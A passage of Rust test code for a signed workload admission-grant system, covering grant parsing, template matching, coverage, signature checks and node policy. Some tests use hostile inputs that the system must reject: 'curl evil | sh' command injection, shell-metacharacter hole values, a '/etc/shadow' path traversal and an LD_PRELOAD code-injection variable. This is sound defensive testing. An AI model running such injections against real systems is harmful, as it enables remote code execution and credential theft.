1736        assert_eq!(
1737            AdmissionGrant::parse("yah-admission-grant/v3\n").unwrap_err(),
1738            GrantError::BadMagic
1739        );
1740    }
1741
1742    /// R555-F5 bumped the format to v2 (the `secret` allow-list). A v1 document
1743    /// must be refused at the magic line — the version skew is the whole reason
1744    /// the magic doubles as a version, and "refuses loudly" is the only safe
1745    /// answer when the missing field is the one that says what may be read.
1746    #[test]
1747    fn a_v1_grant_is_refused_rather_than_read_as_granting_no_secrets() {
1748        let v1 = grant().encode().replacen(GRANT_MAGIC, "yah-admission-grant/v1", 1);
1749        assert_eq!(AdmissionGrant::parse(&v1).unwrap_err(), GrantError::BadMagic);
1750    }
1751
1752    #[test]
1753    fn parse_rejects_trailing_bytes() {
1754        let text = format!("{}{}", grant().encode(), "extra");
1755        assert!(matches!(
1756            AdmissionGrant::parse(&text).unwrap_err(),
1757            GrantError::Trailing(5)
1758        ));
1759    }
1760
1761    #[test]
1762    fn parse_rejects_a_reordered_record() {
1763        let text = grant().encode().replacen("recipe ", "tier ", 1);
1764        assert!(matches!(
1765            AdmissionGrant::parse(&text).unwrap_err(),
1766            GrantError::UnexpectedLabel { .. }
1767        ));
1768    }
1769
1770    #[test]
1771    fn parse_rejects_a_length_that_does_not_match_its_value() {
1772        let text = grant().encode().replacen("recipe 13\n", "recipe 99\n", 1);
1773        assert!(matches!(
1774            AdmissionGrant::parse(&text).unwrap_err(),
1775            GrantError::Truncated { .. }
1776        ));
1777    }
1778
1779    // ── template matching ────────────────────────────────────────────────────
1780
1781    #[test]
1782    fn a_template_without_holes_is_compared_verbatim() {
1783        assert!(template_matches("/app/quantize", "/app/quantize"));
1784        assert!(!template_matches("/app/quantize", "/app/quantize2"));
1785    }
1786
1787    #[test]
1788    fn holes_accept_the_values_the_materialize_path_substitutes() {
1789        assert!(template_matches(
1790            "build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'",
1791            "build-v8.sh 'x86_64-unknown-linux-musl' '/yah/produced/deadbeef.out'",
1792        ));
1793    }
1794
1795    #[test]
1796    fn a_hole_may_not_break_out_of_the_quoting_the_recipe_wrote() {
1797        // The whole security argument for matching templates rather than
1798        // literals: a param that closes the author's quote and appends a
1799        // command must not be an instantiation of the template.
1800        assert!(!template_matches(
1801            "build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'",
1802            "build-v8.sh 'x86'; curl evil | sh; echo '' '/yah/produced/a.out'",
1803        ));
1804        for hostile in [
1805            "a$(id)b", "a`id`b", "a;id", "a|id", "a&id", "a>f", "a<f", "a\\b", "a\nb",
1806        ] {
1807            assert!(!hole_is_safe(hostile), "{hostile:?} must not be a safe hole");
1808        }
1809    }
1810
1811    #[test]
1812    fn a_hole_may_not_traverse_out_of_the_directory_it_names() {
1813        assert!(!template_matches(
1814            "cp '{{YAH_TRANSFORM_OUT}}'",
1815            "cp '/yah/produced/../../etc/shadow'",
1816        ));
1817    }
1818
1819    #[test]
1820    fn a_trailing_hole_consumes_the_rest() {
1821        assert!(template_matches("prefix-{{x}}", "prefix-value"));
1822        assert!(!template_matches("prefix-{{x}}", "nope-value"));
1823        assert!(!template_matches("prefix-{{x}}", "prefix-va;lue"));
1824    }
1825
1826    #[test]
1827    fn an_unterminated_placeholder_is_literal_text() {
1828        // Mirrors `substitute_argv`, which preserves an unterminated `{{`
1829        // verbatim — so a template containing one is compared verbatim too.
1830        assert!(template_matches("echo {{oops", "echo {{oops"));
1831        assert!(!template_matches("echo {{oops", "echo anything"));
1832    }
1833
1834    // ── coverage ─────────────────────────────────────────────────────────────
1835
1836    #[test]
1837    fn a_grant_covers_the_dispatch_it_was_cut_for() {
1838        grant().covers(&dispatched_spec()).unwrap();
1839    }
1840
1841    #[test]
1842    fn a_swapped_image_is_not_covered() {
1843        let mut spec = dispatched_spec();
1844        spec.image.digest = format!("sha256:{}", "0".repeat(64));
1845        assert!(matches!(
1846            grant().covers(&spec).unwrap_err(),
1847            AdmissionError::Mismatch { field: "image", .. }
1848        ));
1849    }
1850
1851    #[test]
1852    fn a_swapped_tag_on_the_same_digest_is_not_covered() {
1853        // The digest is the identity, but the tag rides in the payload too:
1854        // re-tagging is a provenance change the grant's author did not sign.
1855        let mut spec = dispatched_spec();
1856        spec.image.tag = "latest".into();
1857        assert!(matches!(
1858            grant().covers(&spec).unwrap_err(),
1859            AdmissionError::Mismatch { field: "image", .. }
1860        ));
1861    }
1862
1863    #[test]
1864    fn an_appended_argv_element_is_not_covered() {
1865        let mut spec = dispatched_spec();
1866        spec.command.as_mut().unwrap().push("; curl evil | sh".into());
1867        assert!(matches!(
1868            grant().covers(&spec).unwrap_err(),
1869            AdmissionError::Mismatch { field: "argv", .. }
1870        ));
1871    }
1872
1873    #[test]
1874    fn a_rewritten_argv_literal_is_not_covered() {
1875        let spec = forge_spec(&["evil.sh 'x86_64-unknown-linux-musl' '/yah/produced/a.out'"]);
1876        assert!(matches!(
1877            grant().covers(&spec).unwrap_err(),
1878            AdmissionError::Mismatch { field: "argv", .. }
1879        ));
1880    }
1881
1882    #[test]
1883    fn an_unlisted_env_var_is_not_covered() {
1884        // LD_PRELOAD is code injection that touches neither image nor argv,
1885        // which is exactly why env names are in the payload.
1886        let mut spec = dispatched_spec();
1887        spec.env.push(EnvVar {
1888            name: "LD_PRELOAD".into(),
1889            value: EnvValue::Literal {
1890                value: "/tmp/evil.so".into(),
1891            },
1892        });
1893        assert!(matches!(
1894            grant().covers(&spec).unwrap_err(),
1895            AdmissionError::Mismatch { field: "env", .. }
1896        ));
1897    }
1898
1899    #[test]
1900    fn a_listed_env_var_is_covered_whatever_its_value() {
1901        let mut template = template_spec();
1902        template.env.push(EnvVar {
1903            name: "YAH_PRODUCED_DIR".into(),
1904            value: EnvValue::Literal { value: "".into() },
1905        });
1906        let g = AdmissionGrant::from_spec("r", &template);
1907        let mut spec = dispatched_spec();
1908        spec.env.push(EnvVar {
1909            name: "YAH_PRODUCED_DIR".into(),
1910            value: EnvValue::Literal {
1911                value: "/var/lib/yah/qed/produced/abc123".into(),
1912            },
1913        });
1914        g.covers(&spec).unwrap();
1915    }
1916
1917    #[test]
1918    fn an_ungranted_nested_sandbox_request_is_not_covered() {
1919        let mut spec = dispatched_spec();
1920        spec.annotations.insert(
1921            crate::NESTED_SANDBOX_ANNOTATION.into(),
1922            crate::NESTED_SANDBOX_VALUE.into(),
1923        );
1924        assert!(matches!(
1925            grant().covers(&spec).unwrap_err(),
1926            AdmissionError::Mismatch {
1927                field: "nested-sandbox",
1928                ..
1929            }
1930        ));
1931    }
1932
1933    #[test]
1934    fn requesting_less_privilege_than_granted_is_covered() {
1935        // Implication, not equality — a spec that drops host networking is
1936        // still within what the author vouched for.
1937        let mut spec = dispatched_spec();
1938        spec.annotations.remove(crate::HOST_NETWORK_ANNOTATION);
1939        grant().covers(&spec).unwrap();
1940    }
1941
1942    #[test]
1943    fn a_bind_mount_outside_the_forge_state_root_is_not_covered() {
1944        // The one execution-determining field the grant cannot enumerate (the
1945        // produced dir is per-run), so it is bounded structurally instead.
1946        let mut spec = dispatched_spec();
1947        spec.volumes.push(VolumeMount {
1948            source: VolumeSource::Bind {
1949                host_path: PathBuf::from("/etc"),
1950            },
1951            target: PathBuf::from("/host-etc"),
1952            read_only: false,
1953        });
1954        assert!(matches!(
1955            grant().covers(&spec).unwrap_err(),
1956            AdmissionError::Mismatch {
1957                field: "volumes",
1958                ..
1959            }
1960        ));
1961    }
1962
1963    #[test]
1964    fn a_native_exec_spec_is_not_covered_by_a_container_grant() {
1965        let mut spec = dispatched_spec();
1966        spec.annotations.insert(
1967            crate::NATIVE_EXEC_ANNOTATION.into(),
1968            crate::NATIVE_EXEC_VALUE.into(),
1969        );
1970        assert!(matches!(
1971            grant().covers(&spec).unwrap_err(),
1972            AdmissionError::Mismatch {
1973                field: "runtime",
1974                ..
1975            }
1976        ));
1977    }
1978
1979    #[test]
1980    fn a_microvm_spec_is_not_covered_by_a_container_grant() {
1981        // R605-F8. The direction here is the counter-intuitive one and is
1982        // deliberate: a microVM is a *stronger* boundary than the container the
1983        // grant admits, and it is still refused. A grant states the runtime it
1984        // was cut for, and "stronger, therefore close enough" is exactly the
1985        // reasoning that makes a signed statement stop meaning anything — the
1986        // fix is to re-sign for `microvm`, not to widen the comparison.
1987        let mut spec = dispatched_spec();
1988        spec.annotations.insert(
1989            crate::NATIVE_EXEC_ANNOTATION.into(),
1990            crate::MICROVM_EXEC_VALUE.into(),
1991        );
1992        assert!(matches!(
1993            grant().covers(&spec).unwrap_err(),
1994            AdmissionError::Mismatch {
1995                field: "runtime",
1996                ..
1997            }
1998        ));
1999    }
2000
2001    #[test]
2002    fn a_microvm_grant_round_trips_through_the_signing_encoding() {
2003        // The parse arm is the one that can silently rot: `as_str` writes
2004        // "microvm" and `parse` has to know it, or every microVM grant becomes
2005        // an unverifiable BadValue the moment it is read back.
2006        let mut spec = dispatched_spec();
2007        spec.annotations.insert(
2008            crate::NATIVE_EXEC_ANNOTATION.into(),
2009            crate::MICROVM_EXEC_VALUE.into(),
2010        );
2011        let cut = AdmissionGrant::from_spec("forge", &spec);
2012        assert_eq!(cut.runtime, GrantRuntime::MicroVm);
2013
2014        let back = AdmissionGrant::parse(&cut.encode()).expect("parse round-trip");
2015        assert_eq!(back.runtime, GrantRuntime::MicroVm);
2016        back.covers(&spec).expect("a microvm grant covers its own spec");
2017    }
2018
2019    #[test]
2020    fn a_tier_escalation_is_not_covered() {
2021        let mut spec = dispatched_spec();
2022        spec.tier = TierTag("tenant".into());
2023        assert!(matches!(
2024            grant().covers(&spec).unwrap_err(),
2025            AdmissionError::Mismatch { field: "tier", .. }
2026        ));
2027        // And the mesh identity is untouched by any of this — the grant says
2028        // nothing about which forge run this is, on purpose.
2029        assert_eq!(spec.expose.mesh.identity, MeshIdent("forge.abc123".into()));
2030    }
2031
2032    #[test]
2033    fn policy_parse_rejects_a_typo_rather_than_falling_back() {
2034        assert_eq!(Policy::parse("required").unwrap(), Policy::Required);
2035        assert_eq!(Policy::parse(" permissive ").unwrap(), Policy::Permissive);
2036        assert_eq!(Policy::parse("disabled").unwrap(), Policy::Disabled);
2037        assert!(Policy::parse("Required").is_err());
2038        assert!(Policy::parse("on").is_err());
2039        assert_eq!(Policy::default(), Policy::Permissive);
2040    }
2041
2042    #[test]
2043    fn image_ref_string_is_stable_and_pins_the_digest() {
2044        assert_eq!(image_ref_string(&image()), format!("{IMAGE}:v149.4.0@{DIGEST}"));
2045    }
2046}
2047
2048#[cfg(all(test, feature = "admission-verify"))]
2049mod verify_tests {
2050    use super::tests::{dispatched_spec, grant};
2051    use super::*;
2052
2053    fn key() -> ed25519_dalek::SigningKey {
2054        ed25519_dalek::SigningKey::from_bytes(&[7u8; 32])
2055    }
2056
2057    fn public_hex(k: &ed25519_dalek::SigningKey) -> String {
2058        hex::encode(k.verifying_key().to_bytes())
2059    }
2060
2061    /// A dispatched spec carrying a genuine grant signed by `key()`.
2062    fn signed_dispatch() -> (WorkloadSpec, Vec<String>) {
2063        let k = key();
2064        let g = grant();
2065        let encoded = g.encode();
2066        let sig = sign_grant(&encoded, &k);
2067        let pk = public_hex(&k);
2068        let mut spec = dispatched_spec();
2069        attach(&mut spec, &encoded, &sig, &pk);
2070        (spec, vec![pk])
2071    }
2072
2073    #[test]
2074    fn a_signed_dispatch_is_admitted() {
2075        let (spec, trusted) = signed_dispatch();
2076        admit(&spec, Policy::Permissive, &trusted).unwrap();
2077        admit(&spec, Policy::Required, &trusted).unwrap();
2078    }
2079
2080    #[test]
2081    fn an_unsigned_workload_passes_permissive_and_fails_required() {
2082        let spec = dispatched_spec();
2083        admit(&spec, Policy::Permissive, &[]).unwrap();
2084        assert!(matches!(
2085            admit(&spec, Policy::Required, &[]).unwrap_err(),
2086            AdmissionError::GrantRequired { .. }
2087        ));
2088    }
2089
2090    #[test]
2091    fn the_nested_sandbox_widening_always_needs_a_grant() {
2092        // W235 §Reshaping's ordering constraint ("B2's widening is defensible
2093        // only once F4's admission gate exists"), enforced by code rather than
2094        // by sequencing discipline: permissive is not permissive about THIS.
2095        let mut spec = dispatched_spec();
2096        spec.annotations.insert(
2097            crate::NESTED_SANDBOX_ANNOTATION.into(),
2098            crate::NESTED_SANDBOX_VALUE.into(),
2099        );
2100        assert!(matches!(
2101            admit(&spec, Policy::Permissive, &[]).unwrap_err(),
2102            AdmissionError::GrantRequired { .. }
2103        ));
2104        // ...and `disabled` is the one escape hatch that turns it off.
2105        admit(&spec, Policy::Disabled, &[]).unwrap();
2106    }
2107
2108    #[test]
2109    fn a_native_spec_carrying_the_widening_is_kamajis_shape_refusal_not_ours() {
2110        // Both markers set is an INCOHERENT spec — the widening is an OCI
2111        // capability set and a fork+exec workload has no OCI spec — so kamaji
2112        // refuses the pair with a message that explains that (R577-T1). If
2113        // admission claimed it first, the operator would get "not admitted" for
2114        // a spec whose actual problem is that it asks for something that cannot
2115        // exist. There is no privilege to protect, so we step aside.
2116        let mut spec = dispatched_spec();
2117        spec.annotations.insert(
2118            crate::NESTED_SANDBOX_ANNOTATION.into(),
2119            crate::NESTED_SANDBOX_VALUE.into(),
2120        );
2121        spec.annotations.insert(
2122            crate::NATIVE_EXEC_ANNOTATION.into(),
2123            crate::NATIVE_EXEC_VALUE.into(),
2124        );
2125        admit(&spec, Policy::Permissive, &[]).unwrap();
2126        // `required` still requires — the exception narrows the unconditional
2127        // rule, it does not punch a hole in the policy.
2128        assert!(matches!(
2129            admit(&spec, Policy::Required, &[]).unwrap_err(),
2130            AdmissionError::GrantRequired { .. }
2131        ));
2132    }
2133
2134    #[test]
2135    fn an_untrusted_key_is_refused_before_any_crypto_runs() {
2136        let (spec, _) = signed_dispatch();
2137        assert!(matches!(
2138            admit(&spec, Policy::Permissive, &["ff".repeat(32)]).unwrap_err(),
2139            AdmissionError::UntrustedKey { .. }
2140        ));
2141    }
2142
2143    #[test]
2144    fn required_with_no_pinned_keys_refuses_everything() {
2145        // Pinning nothing means trusting nothing. An operator who flips a node
2146        // to `required` without configuring keys gets a loud outage, not a
2147        // quiet no-op gate.
2148        let (spec, _) = signed_dispatch();
2149        assert!(matches!(
2150            admit(&spec, Policy::Required, &[]).unwrap_err(),
2151            AdmissionError::UntrustedKey { .. }
2152        ));
2153    }
2154
2155    #[test]
2156    fn a_signature_from_a_different_key_does_not_verify() {
2157        let other = ed25519_dalek::SigningKey::from_bytes(&[9u8; 32]);
2158        let g = grant();
2159        let encoded = g.encode();
2160        let mut spec = dispatched_spec();
2161        // Claim the trusted key while signing with another one.
2162        attach(
2163            &mut spec,
2164            &encoded,
2165            &sign_grant(&encoded, &other),
2166            &public_hex(&key()),
2167        );
2168        assert!(matches!(
2169            admit(&spec, Policy::Permissive, &[public_hex(&key())]).unwrap_err(),
2170            AdmissionError::SignatureMismatch
2171        ));
2172    }
2173
2174    #[test]
2175    fn widening_the_grant_after_signing_does_not_verify() {
2176        // The R710-S1 failure mode, checked directly: take a legitimately
2177        // signed grant and flip the privilege bit it vouches for.
2178        let (mut spec, trusted) = signed_dispatch();
2179        let tampered = spec
2180            .annotations
2181            .get(GRANT_ANNOTATION)
2182            .unwrap()
2183            .replace("nested-sandbox 5\nfalse\n", "nested-sandbox 4\ntrue\n");
2184        spec.annotations
2185            .insert(GRANT_ANNOTATION.into(), tampered.clone());
2186        assert!(tampered.contains("nested-sandbox 4\ntrue"));
2187        assert!(matches!(
2188            admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2189            AdmissionError::SignatureMismatch
2190        ));
2191    }
2192
2193    #[test]
2194    fn tampering_with_the_spec_under_a_valid_signature_is_caught_by_coverage() {
2195        // The signature still verifies — nothing about the grant changed — so
2196        // this is the check that `covers` exists for.
2197        let (mut spec, trusted) = signed_dispatch();
2198        spec.command = Some(vec!["curl evil | sh".into()]);
2199        assert!(matches!(
2200            admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2201            AdmissionError::Mismatch { field: "argv", .. }
2202        ));
2203    }
2204
2205    #[test]
2206    fn a_partial_annotation_set_is_an_error_not_an_absence() {
2207        // Stripping the signature must not read as "unsigned, let it through".
2208        let (mut spec, trusted) = signed_dispatch();
2209        spec.annotations.remove(GRANT_SIGNATURE_ANNOTATION);
2210        assert!(matches!(
2211            admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2212            AdmissionError::Incomplete {
2213                missing: GRANT_SIGNATURE_ANNOTATION
2214            }
2215        ));
2216    }
2217
2218    #[test]
2219    fn disabled_admits_a_workload_with_a_broken_grant() {
2220        let (mut spec, _) = signed_dispatch();
2221        spec.annotations
2222            .insert(GRANT_SIGNATURE_ANNOTATION.into(), "not-hex".into());
2223        admit(&spec, Policy::Disabled, &[]).unwrap();
2224    }
2225}
2226
2227#[cfg(all(test, feature = "admission-verify"))]
2228mod node_posture_tests {
2229    use super::*;
2230
2231    #[test]
2232    fn unset_is_permissive_with_no_keys() {
2233        let n = NodeAdmission::from_vars(None, None);
2234        assert_eq!(n.policy, Policy::Permissive);
2235        assert!(n.trusted_keys.is_empty());
2236    }
2237
2238    #[test]
2239    fn a_typo_fails_closed_to_required() {
2240        // The whole point: setting the variable and having it silently ignored
2241        // is the failure mode an operator cannot detect.
2242        assert_eq!(
2243            NodeAdmission::from_vars(Some("Required"), None).policy,
2244            Policy::Required
2245        );
2246        assert_eq!(
2247            NodeAdmission::from_vars(Some("yes"), None).policy,
2248            Policy::Required
2249        );
2250    }
2251
2252    #[test]
2253    fn keys_are_split_trimmed_and_emptied() {
2254        let n = NodeAdmission::from_vars(Some("required"), Some(" aa , bb ,, "));
2255        assert_eq!(n.policy, Policy::Required);
2256        assert_eq!(n.trusted_keys, vec!["aa".to_string(), "bb".to_string()]);
2257    }
2258}